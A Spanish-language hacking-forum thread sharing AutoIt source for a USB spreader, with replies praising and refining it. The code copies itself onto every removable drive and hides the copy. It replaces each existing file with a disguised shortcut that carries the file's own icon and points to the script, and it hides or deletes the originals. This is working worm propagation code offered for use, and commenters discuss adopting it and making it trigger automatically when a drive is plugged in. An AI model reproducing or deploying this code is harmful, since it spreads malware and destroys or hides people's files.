Hola, Aquí les dejo este Spread para USB. La función para extraer el icono no es mía la encontré en autoitscript.com pero no se quien es el autor, no lo ponía.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function:
	Esparcir un archivo a los perifericos USB conectados al equipo

 Parametro:
	$sHideOrDelete  =>  Si este parametro es 0 los archivos que se encuentran dentro del USB seran ocultados, de lo contario
						si este parametro es distinto de 0 los archivos seran borrados

#ce ----------------------------------------------------------------------------
#include <File.au3>
#include <GDIPlus.au3>

Func Spread_USB($sHideOrDelete)

	Local $sUSB = Detect_USB()

	If $sUSB = '' Then
		Exit
	Else

		Local $sArray = StringSplit($sUSB, '@')

		For $i = 0 To UBound($sArray) - 1

			If Not FileExists($sArray[$i] & '\' & @ScriptName) Then

				Local $sFiles = _FileListToArray($sArray[$i] & '\')

				For $si = 1 To UBound($sFiles) - 1

					_ExtractIcon($sArray[$i] & '\' & $sFiles[$si], $sArray[$i] & '\Icon' & $si & '.ico', 1)
					DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\Icon' & $si & '.ico', 'dword', 0x2)
					FileCreateShortcut($sArray[$i] & '\' & @ScriptName, $sArray[$i] & '\' & $sFiles[$si] & '.lnk', '', '', '', $sArray[$i] & '\Icon' & $si & '.ico')

					If $sHideOrDelete <> 0 Then
						FileDelete($sArray[$i] & '\' & $sFiles[$si])
					Else
						DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & $sFiles[$si], 'dword', 0x2)
					EndIf

				Next

				FileCopy(@ScriptFullPath, $sArray[$i] & '\' & @ScriptName)
				DllCall('Kernel32.dll', 'int', 'SetFileAttributes', 'str', $sArray[$i] & '\' & @ScriptName, 'dword', 0x2)

			EndIf

		Next

	EndIf

EndFunc   ;==>Spread_USB

Func _ExtractIcon($source, $outsource, $iconnumber)

	$Ret = DllCall("shell32", "long", "ExtractAssociatedIcon", "int", 0, "str", $source, "int*", $iconnumber)
	$hIcon = $Ret[0]

	_GDIPlus_Startup()

	$pBitmapdll = DllCall($ghGDIPDll, "int", "GdipCreateBitmapFromHICON", "ptr", $hIcon, "int*", 0)
	$pBitmap = $pBitmapdll[2]

	_WinAPI_DestroyIcon($Ret[0])

	_GDIPlus_ImageSaveToFileEx($pBitmap, $outsource, "{557CF400-1A04-11D3-9A73-0000F81EF32E}")

	_GDIPlus_ImageDispose($pBitmap)

	_GDIPlus_Shutdown()

EndFunc   ;==>_ExtractIconFromExe

Func Detect_USB()

	Local $sReturn
	Local $sDriver = DriveGetDrive('REMOVABLE')

	If $sDriver <> 0 Then
		For $i = 1 To $sDriver[0]
			$sReturn = $sReturn & $sDriver[$i] & '@'
		Next
	EndIf

	Return StringUpper($sReturn)

EndFunc   ;==>Detect_USB
Saludos
Skype: naker.noventa
Filisko escribió:Buen code, igual lo uso, ¿es tuyo? (para en caso de usarlo)
Si es mio, salvo la función de extraer el icono (_ExtractIcon)
Saludos
Skype: naker.noventa
Muy bueno gracias. solo faltaria registrar el mensaje WM_DEVICECHANGE.
SetFileAttributes return value check (Bool) ;)

Saludos
Imagen
Naker90 escribió:
Filisko escribió:Buen code, igual lo uso, ¿es tuyo? (para en caso de usarlo)
Si es mio, salvo la función de extraer el icono (_ExtractIcon)
Saludos
Vale, gracias ;)
Naker, le pones esfuerzo a tus trabajos, me gusta como trabajas, sin animo de lucro.
Las personas que nunca dejan de invertir en ellas mismas tienen el poder de afilar sus habilidades para crecer profesionalmente.
Responder

Volver a “Fuentes”